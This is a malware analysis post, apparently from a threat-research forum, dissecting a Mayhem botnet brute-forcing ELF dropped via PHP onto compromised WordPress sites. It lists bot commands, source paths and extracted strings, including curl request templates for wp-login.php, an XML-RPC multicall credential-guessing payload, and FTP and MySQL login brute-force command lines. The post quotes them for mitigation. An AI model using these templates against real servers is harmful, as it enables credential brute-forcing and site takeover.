I received the report for the unusual Mayhem ELF attack via PHP dropper in a compromised WP with these (trimmed) logs:
It is not module ELF but the executable, and using the same usual PHP dropper scheme yet the -
saved name is not using .so, so it is just "libworker".
ps: I think I know a fellow researcher who is accessing the infected page by the time the log is taken, hello Evgeny! :D
This version runs by the command line with argument, just as per sent via POST command from remote via -
URL snipped in the log above. I manipulated in the shell, hack the kernel hook (w/ intercept.ko) to get sockets activity and -
running my ELF botnet monitor script tool:
it looks like it called back to ECATEL
Well these are the traffic, also in shell, we have a hard evidence now.
And here is the CNC related data and registrant contacts for the law enforcement works:
This is the Mayhem botnet bruter component, designed to aim Wordpress site(s) for multiple credential access that can be overrun by brute-force attacks (credential at WP login, server's FTP..which every WP mostly has it, XML_RPC and MySQL privilege access)
..obviously it is the first touch of the infection where they infect the first layer of target with these bruters to then expanding after gained some hacks to deploy the installer package for the botnets..to this or to the more compromise WP servers.
Below is some bruter function message handling which is a very self-explanatory..
..yes of course, MySQL too:
bot commands:
Code: Select all.rodata:080574B5 DIE
.rodata:080574B9 START_BFWP
.rodata:080574C4 START_WPEN
.rodata:080574CF START_FTPBF
.rodata:080574DB START_WPXMLRPCBF
.rodata:080574EC START_MYSQLBF
.rodata:080574FA HAVE_REST
cURL command is needed for the brutes:
And these source codes:
Code: Select all.rodata:08056E7C ./src/main.c
.rodata:08057388 ./src/message.c
.rodata:08057531 ./src/server.c
.rodata:08057C9F ./src/wpbf/bf.c
.rodata:0805805F ./src/wpen/enum.c
.rodata:080583C0 ./src/wpen/filter_wp.c
.rodata:0805873B ./src/ftpbf/bf.c
.rodata:08058BC0 ./src/utils/utils.c
.rodata:08058ECB ./src/wpxmlrpcbf/bf.c
.rodata:080596C0 ./src/wpxmlrpcbf/xmlrpc.c
.rodata:0805979C ./src/mysqlbf/bf.c
NOTED: The strings below shows you much of the templates, path, target used for the brute-forcing purpose. Which is good to mitigate.
Code: Select all{\n\"type\" : \"WPEN_RESPONSE\",\n\"linkUsers\" : [
]\n}\n
sending: %s\n
{\n\"type\" : \"MYSQLBF_RESPONSE\",\n\"hostPasses\" : [
\n{\n\"host\" : \"%s\",\n\"user\" : \"%s\",\n\"pass\" : \"%s\"\n}\n
\n{\n\"host\" : \"%s\",\n\"user\" : \"%s\",\n\"pass\" : \"%s\"\n},\n
{\n\"type\" : \"FTPBF_RESPONSE\",\n\"hostPasses\" : [
{\n\"type\" : \"WPBF_RESPONSE\",\n\"linkPasses\" : [
\n{\n\"site\" : \"%s\",\n\"user\" : \"%s\",\n\"pass\" : \"%s\"\n}\n
\n{\n\"site\" : \"%s\",\n\"user\" : \"%s\",\n\"pass\" : \"%s\"\n},\n
{\n\"type\" : \"WPXMLRPCBF_RESPONSE\",\n\"linkPasses\" : [
\"nValid\": %d,\n\"nInvalid\": %d,\n\"nTimeout\": %d
],\n%s\n}
{\n\"type\" : \"WPBF_RESPONSE\",\n\"success\" : false,\n\"site\" : \"%s\",\n\"user\" : \"%s\"\n}\n
Sending: %s\n
{\n\"type\" : \"WPBF_RESPONSE\",\n\"success\" : true,\n\"site\" : \"%s\",\n\"user\" : \"%s\",\n\"pass\" : \"%s\"\n}\n
curl
http://
https://
%swp-login.php
%s/wp-login.php
http://%swp-login.php
http://%s/wp-login.php
log=%s&pwd=%s&wp-submit=Log+In&redirect_to=http%%3A%%2F%%2F%s%%2Fwp-admin%%2F&testcookie=1
log=%s&pwd=%s&wp-submit=Log+In&redirect_to=https%%3A%%2F%%2F%s%%2Fwp-admin%%2F&testcookie=1
--user-agent=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0
--data
Cookie:wordpress_test_cookie=WP+Cookie+check
-H
Content-Type:application/x-www-form-urlencoded
Cache-Control:max-age=0
Accept-Language:en-US;
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-A
-i
INFO checking: %s, %s, %s\n
Success
./src/wpbf/bf.c
<ERROR> (%s:%d: errno: %s) \npipe\n
<ERROR> (%s:%d: errno: %s) \ndup2\n
<ERROR> (%s:%d: errno: %s) \nno exec?\n
<ERROR> (%s:%d: errno: %s) \nerror\n
<ERROR> (%s:%d: errno: %s) \nOut of memory.\n
<ERROR> (%s:%d: errno: %s) \nfork\n
INFO Started brute forcing.\n\n
path=/wp-content/plugins
INFO SUCCESS: %s\n
<!DOCTYPE html
<ERROR> (%s:%d: errno: %s) \ncan not determine logged in or not.\n
INFO exit status: %d\n\n
<ERROR> (%s:%d: errno: %s) \nread\n
<ERROR> (%s:%d: errno: %s) \nwaitpid: %d\n
<ERROR> (%s:%d: errno: %s) \nCURL not found. exiting.\n
INFO running %d children\n
INFO CHILD RESULT n: linkpass %s %s %s \n
<ERROR> (%s:%d: errno: %s) \nserver has not responded for more than %d seconds\n
INFO CHILD RESULT f: linkpass %s %s %s failed\n
INFO %d linkpasses remaining to test\n
INFO CHILD RESULT s: linkpass %s %s %s success\n
<ERROR> (%s:%d: errno: %s) \nlinkpasses length is more then 0\n
curl
--max-filesize
-s
-I
INFO checking: %s\n
Success
./src/wpen/enum.c
<ERROR> (%s:%d: errno: %s) \npipe\n
<ERROR> (%s:%d: errno: %s) \ndup2\n
<ERROR> (%s:%d: errno: %s) \nno exec?\n
<ERROR> (%s:%d: errno: %s) \nerror\n
<ERROR> (%s:%d: errno: %s) \nOut of memory.\n
<ERROR> (%s:%d: errno: %s) \nfork\n
INFO Started enum.\n\n
\r\n\r\n
Location:
\r\n
<WARNING> (%s:%d: errno: %s) \nInvalid http response: %s\n
/author/
<ERROR> (%s:%d: errno: %s) \nread\n
<ERROR> (%s:%d: errno: %s) \nwaitpid: %d\n
<WARNING> (%s:%d: errno: %s) \ninvalid url: %s\n
<ERROR> (%s:%d: errno: %s) \nCURL not found. exiting.\n
<ERROR> (%s:%d: errno: %s) \nserver has not responded for more than %d seconds\n
INFO running %d children (f)\n
INFO %d links remaining to test\n
INFO running %d children (s)\n
INFO username is null\n
INFO found username: %s\n\n
<ERROR> (%s:%d: errno: %s) \nerror in logic\n
INFO running %d children (r)\n
INFO %s to %s\n
Success
./src/wpen/filter_wp.c
<ERROR> (%s:%d: errno: %s) \nwait\n
<ERROR> (%s:%d: errno: %s) \nwifexited false\n
<ERROR> (%s:%d: errno: %s) \nfork\n
curl
%s/wp-login.php
--max-filesize
-s
-I
INFO checking: %s\n
<ERROR> (%s:%d: errno: %s) \npipe\n
<ERROR> (%s:%d: errno: %s) \ndup2\n
<ERROR> (%s:%d: errno: %s) \nno exec?\n
<ERROR> (%s:%d: errno: %s) \nerror\n
<ERROR> (%s:%d: errno: %s) \nOut of memory.\n
INFO Started filtering.\n\n
wordpress
<ERROR> (%s:%d: errno: %s) \nread\n
<ERROR> (%s:%d: errno: %s) \nwaitpid: %d\n
<ERROR> (%s:%d: errno: %s) \nCURL not found. exiting.\n
<ERROR> (%s:%d: errno: %s) \nserver has not responded for more than %d seconds\n
INFO running %d children (f)\n
INFO %d links remaining to test\n
INFO running %d children (s)\n
https://
http://
www.
https://www.%s
https://%s
http://www.%s
http://%s
%s?author=%d
INFO total links: %d\n\n
ftp://%s
%s:%s
--user
Success
<INFO> (%s:%d: errno: %s) \nchecking: %s, %s, %s\n
<ERROR> (%s:%d: errno: %s) \npipe\n
<ERROR> (%s:%d: errno: %s) \ndup2\n
<ERROR> (%s:%d: errno: %s) \nno exec?\n
<ERROR> (%s:%d: errno: %s) \nOut of memory.\n
curl ftp://%s --user %s:%s
<ERROR> (%s:%d: errno: %s) \nfork\n
<INFO> (%s:%d: errno: %s) \ncmd was: %s\n
<ERROR> (%s:%d: errno: %s) \nexit status -1\n
<INFO> (%s:%d: errno: %s) \nexit status: %d\n\n
<ERROR> (%s:%d: errno: %s) \nread\n
<INFO> (%s:%d: errno: %s) \nSUCCESS\n
<INFO> (%s:%d: errno: %s) \nStarted brute forcing.\n\n
<ERROR> (%s:%d: errno: %s) \nwaitpid: %d\n
<ERROR> (%s:%d: errno: %s) \nCurl not found. exiting\n
<INFO> (%s:%d: errno: %s) \nrunning %d children\n
<INFO> (%s:%d: errno: %s) \nCHILD RESULT N: hostpass %s %s %s \n
<ERROR> (%s:%d: errno: %s) \nserver has not responded for more than %d seconds\n
<INFO> (%s:%d: errno: %s) \nCHILD RESULT F: hostpass %s %s %s \n
<INFO> (%s:%d: errno: %s) \n%d hps remaining to test\n
<INFO> (%s:%d: errno: %s) \nCHILD RESULT S: hostpass %s %s %s \n
<ERROR> (%s:%d: errno: %s) \nerror\n
<ERROR> (%s:%d: errno: %s) \nhps length is more then 0\n
%username%
recv
send returned 0
send
Success
./src/utils/utils.c
<ERROR> (%s:%d: errno: %s) \nNULL pointer error.\n
<ERROR> (%s:%d: errno: %s) \nError\n
<ERROR> (%s:%d: errno: %s) \nwait\n
<ERROR> (%s:%d: errno: %s) \nwifexited false\n
<ERROR> (%s:%d: errno: %s) \nfork\n
%username%
<ERROR> (%s:%d: errno: %s) \nwaitpid: %d\n
<INFO> (%s:%d: errno: %s) \nEXIT STATUS IS 0\n\n
invalid index2\n
invalid index: %d. vec size: %d.\n
curl
http://
https://
%sxmlrpc.php
%s/xmlrpc.php
http://%sxmlrpc.php
http://%s/xmlrpc.php
--user-agent=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0
@%s
--data-binary
Cookie:wordpress_test_cookie=WP+Cookie+check
-H
Content-Type:application/xml
Cache-Control:max-age=0
Accept-Language:en-US;
Accept:application/xml
-A
--post303
--post302
--post301
-L
Success
./src/wpxmlrpcbf/bf.c
<ERROR> (%s:%d: errno: %s) \npipe\n
<ERROR> (%s:%d: errno: %s) \ndup2\n
<ERROR> (%s:%d: errno: %s) \nno exec?\n
<ERROR> (%s:%d: errno: %s) \nerror\n
<ERROR> (%s:%d: errno: %s) \nOut of memory.\n
<ERROR> (%s:%d: errno: %s) \nfork\n
<ERROR> (%s:%d: errno: %s) \nNULL pointer error.\n
<ERROR> (%s:%d: errno: %s) \nError.\n
<INFO> (%s:%d: errno: %s) \nStarted xml rpc brute force\n\n
<methodResponse>
<INFO> (%s:%d: errno: %s) \nCHILD RESULT: Success.%s:%s:%s\n\n
<INFO> (%s:%d: errno: %s) \nCHILD RESULT: Failure.%s:%s\n\n
<INFO> (%s:%d: errno: %s) \nCHILD RESULT: Timeout.%s:%s\n\n
<INFO> (%s:%d: errno: %s) \nCHILD RESULT: Invalid.%s:%s\n\n
<ERROR> (%s:%d: errno: %s) \nread\n
<ERROR> (%s:%d: errno: %s) \nwaitpid: %d\n
<INFO> (%s:%d: errno: %s) \nFound password: %s %s %s\n\n\n
<ERROR> (%s:%d: errno: %s) \nCURL not found. exiting.\n
<ERROR> (%s:%d: errno: %s) \nerror in logic\n
<ERROR> (%s:%d: errno: %s) \nError in logic. res: %d\n
<INFO> (%s:%d: errno: %s) \nRunning %d children\n\n
<INFO> (%s:%d: errno: %s) \n%d links remaining to test\n\n
%d %d %d\n
xml_parse_tag_end::expected tag end
xml_parse_tag_open::expected opening tag
xml_parse_tag_close::expected closing tag `<'
xml_parse_tag_close::expected closing tag `/'
xml_parse_content::expected <
xml_parse_node::tag_open
xml_parse_node::content
xml_parse_node::child
xml_parse_node::tag_close
xml_parse_node::tag missmatch
xml_parse_document::length equals zero
xml_parse_document::parsing document failed
<?xml version=\"1.0\"?>\n<methodCall>\n<methodName>system.multicall</methodName>\n<params>\n<param><value><array><data>\n
</data></array></value>\n</param>\n</params>\n</methodCall>\n
<value><struct>\n<member>\n<name>methodName</name>\n<value><string>wp.getUsersBlogs</string></value>\n</member>\n<member>\n
ray><data>\n<value><array><data>\n<value><string>%s</string></value>\n<value><string>%s</string></value>\n</data></array></
e>\n</member>\n</struct></value>
struct
array
value
data
Success
./src/wpxmlrpcbf/xmlrpc.c
<ERROR> (%s:%d: errno: %s) \nerror\n\n
params
param
<ERROR> (%s:%d: errno: %s) \nno node\n\n
--user=%s
--password=%s
mysql --user=%s --password=\"%s\" -h %s
show databases
-e
-h
-u
mysql
Success
./src/mysqlbf/bf.c
<ERROR> (%s:%d: errno: %s) \npipe\n
<ERROR> (%s:%d: errno: %s) \ndup2\n
<ERROR> (%s:%d: errno: %s) \nno exect?\n
<ERROR> (%s:%d: errno: %s) \nOut of memory.\n
<ERROR> (%s:%d: errno: %s) \nfork\n
<ERROR> (%s:%d: errno: %s) \nNULL pointer error.\n
<ERROR> (%s:%d: errno: %s) \nerror\n
<ERROR> (%s:%d: errno: %s) \nexit status: %d\n\n
<ERROR> (%s:%d: errno: %s) \nread\n
<INFO> (%s:%d: errno: %s) \nsuccess\n\n
<INFO> (%s:%d: errno: %s) \nstarted mysql brute force\n\n
<ERROR> (%s:%d: errno: %s) \nwaitpid: %d\n
<ERROR> (%s:%d: errno: %s) \nmysql not found. exiting\n
<INFO> (%s:%d: errno: %s) \nrunning %d children\n\n
<INFO> (%s:%d: errno: %s) \nCHILD RESULT N: hostpass %s %s %s\n\n
<ERROR> (%s:%d: errno: %s) \nserver not responded for more than %d seconds\n
<INFO> (%s:%d: errno: %s) \nCHILD RESULT F: hostpass %s %s %s \n\n
<INFO> (%s:%d: errno: %s) \n%d hps remaining to test\n\n
<INFO> (%s:%d: errno: %s) \nCHILD RESULT S: hostpass %s %s %s \n\n
<ERROR> (%s:%d: errno: %s) \nhps length is more then 0\n
Hey...what's new?
These bruter mayhem scheme as stand aloner distributed is new.
I'm currently checking the incident in depth, but this alert must goes first since the attacks is on going.
Samples:
https://www.virustotal.com/en/file/d120 ... 449336546/
https://www.virustotal.com/en/file/7307 ... 449336567/
#MalwareMustDie